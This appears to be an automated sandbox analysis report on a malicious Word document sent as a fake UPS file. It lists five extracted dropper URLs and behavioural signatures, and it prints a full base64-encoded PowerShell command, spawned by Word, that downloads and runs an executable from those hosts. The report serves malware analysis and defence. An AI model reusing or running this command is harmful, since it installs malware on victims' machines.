Analysis
- max time kernel
136s - max time network
125s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
05/05/2024, 08:18
General
- Target UPS-35VB3NGM8FYB.doc
- Size 174KB
- Sample240505-j7dteacb2t
- SHA256 7bf68152579d01ba99862b61a91689e3507d8ee94024c729dda3e40635e3d671
Malware Config
Extracted
-
ps1
-
exe.dropper
http://holipath.com/wp-includes/5_Z/
-
exe.dropper
http://malaysiaonline.tk/viseuf24jd/S_5f/
-
exe.dropper
http://gin-lovers.shop/cgi-bin/T_I/
-
exe.dropper
http://malalai.com.br/site/kX_z/
-
exe.dropper
http://icloudbackup.com.br/wp/b_y/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\UPS-35VB3NGM8FYB.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABqAEQARABHAHcAQQBHAEQAPQAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcAdQBvACcALAAnAFoAVQBVAEEARwBfACcAKQA7ACQAYgBBAEQAQQBVAEEAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgACgAJwBOAGUAJwArACcAdAAuACcAKwAnAFcAJwArACcAZQBiAEMAbABpACcAKwAnAGUAbgB0ACcAKQA7ACQAegBrAEEAQQBCAEMAeAA9ACgAIgB7ADMAOQB9AHsAMgA3AH0AewAxADAAfQB7ADIAMAB9AHsAMQA4AH0AewA1AH0AewAyADUAfQB7ADkAfQB7ADIAOQB9AHsANAAxAH0AewAxADIAfQB7ADIAfQB7ADIAMgB9AHsAMQA3AH0AewA3AH0AewAzADIAfQB7ADMAMQB9AHsAMgA0AH0AewA0ADAAfQB7ADMAOAB9AHsAMQAxAH0AewAwAH0AewAzADMAfQB7ADMANQB9AHsAMQA5AH0AewAzADQAfQB7ADgAfQB7ADIAMwB9AHsAMgA2AH0AewAxADMAfQB7ADMANgB9AHsANAAyAH0AewAyADEAfQB7ADQAfQB7ADEANQB9AHsAMQA0AH0AewAzADAAfQB7ADIAOAB9AHsANgB9AHsAMQB9AHsAMwB9AHsAMwA3AH0AewAxADYAfQAiACAALQBmACAAJwAvACcALAAnAGkAYwBsAG8AdQBkAGIAYQBjAGsAdQBwAC4AYwAnACwAJwAvAEAAaAB0AHQAcAA6ACcALAAnAG8AbQAuACcALAAnAC8AbQBhAGwAYQBsAGEAaQAuAGMAJwAsACcAbwBtAC8AdwAnACwAJwAvAC8AJwAsACcAdgAnACwAJwBlAHIAcwAnACwAJwBuAGMAJwAsACcAbABpACcALAAnAHQAcAA6ACcALAAnAF8AWgAnACwAJwBUAF8ASQAvAEAAJwAsACcAawBYAF8AegAvACcALAAnAG8AbQAuAGIAcgAvAHMAaQB0AGUALwAnACwAJwBwAC8AYgBfAHkALwAnACwAJwBuAGwAaQBuAGUALgB0AGsALwAnACwAJwB0AGgALgBjACcALAAnAGwAJwAsACcAcABhACcALAAnAC8AJwAsACcALwAvAG0AYQBsAGEAeQBzAGkAYQBvACcALAAnAC4AcwBoAG8AJwAsACcAagBkAC8AUwAnACwAJwBwAC0AaQAnACwAJwBwAC8AYwBnAGkALQBiAGkAbgAvACcALAAnAC8AaABvACcALAAnAHQAdABwADoAJwAsACcAbAB1AGQAZQAnACwAJwBAAGgAJwAsACcAdQBmADIANAAnACwAJwBpAHMAZQAnACwAJwAvAGcAaQBuACcALAAnAG8AdgAnACwAJwAtACcALAAnAGgAdAB0AHAAJwAsACcAYgByAC8AdwAnACwAJwA1AGYALwBAAGgAdAAnACwAJwBoAHQAdABwADoALwAnACwAJwBfACcALAAnAHMALwA1ACcALAAnADoAJwApAC4AKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAcABsAGkAdAAnACwAJwBTACcAKQAuAEkAbgB2AG8AawBlACgAJwBAACcAKQA7ACQAYwBBAEEAeABBAEQARAA9ACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAEEAWAAnACwAJwBqAEEAWABBAHcAdwAnACkAOwAkAGkAbwBBAEQAQQBBAFgAQQAgAD0AIAAnADMAOAAxACcAOwAkAEoAeABCAHcAeABRAD0AKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwBVAEEAVQAnACwAJwA0ACcALAAnAGsAVQAnACkAOwAkAEMAUQBBAEIAVQBBAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABpAG8AQQBEAEEAQQBYAEEAKwAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcALgBlACcALAAnAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJAB6ADQAXwB3AHgAQQAgAGkAbgAgACQAegBrAEEAQQBCAEMAeAApAHsAdAByAHkAewAkAGIAQQBEAEEAVQBBAC4AKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBvAHcAbgBsAG8AYQBkACcALAAnAEYAaQBsAGUAJwAsACcARAAnACkALgBJAG4AdgBvAGsAZQAoACQAegA0AF8AdwB4AEEALAAgACQAQwBRAEEAQgBVAEEAKQA7ACQAbABEAEEAQQBCAEEAQQBBAD0AKAAiAHsAMAB9AHsAMQB9AHsAMgB9ACIAIAAtAGYAJwB3ACcALAAnADEAXwBBAF8AMQBDACcALAAnAEIAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEMAUQBBAEIAVQBBACkALgAiAGwAYABlAE4AZwBUAGgAIgAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7ACYAKAAnAEkAJwArACcAbgB2ACcAKwAnAG8AawBlAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEMAUQBBAEIAVQBBADsAJABNAEEAYwBrAEcAbwBRAD0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIALQBmACcARAA0ACcALAAnAGsAQwAnACwAJwB3AEMAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUANABRADQAWgBHADEAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAnAFUAJwAsACcAbQBBAEEAMQAnACwAJwBRACcAKQA7AA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_3yqxux2m.mx1.ps1
TM02851227[[fn=sist02]].xsl
memory/1524-8-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-32-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-4-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1524-7-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-6-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-5-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1524-9-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-2-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1524-10-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-11-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-48-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-14-0x00007FF9ECA30000-0x00007FF9ECA40000-memory.dmp
memory/1524-15-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-17-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-16-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-13-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-3-0x00007FFA2EAAD000-0x00007FFA2EAAE000-memory.dmp
memory/1524-31-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-12-0x00007FF9ECA30000-0x00007FF9ECA40000-memory.dmp
memory/1524-49-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-574-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-0-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1524-570-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1524-573-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1524-69-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-1-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1524-547-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-548-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-549-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/1524-571-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/1524-572-0x00007FF9EEA90000-0x00007FF9EEAA0000-memory.dmp
memory/5632-63-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp
memory/5632-59-0x000002A5483B0000-0x000002A5483D2000-memory.dmp
memory/5632-50-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp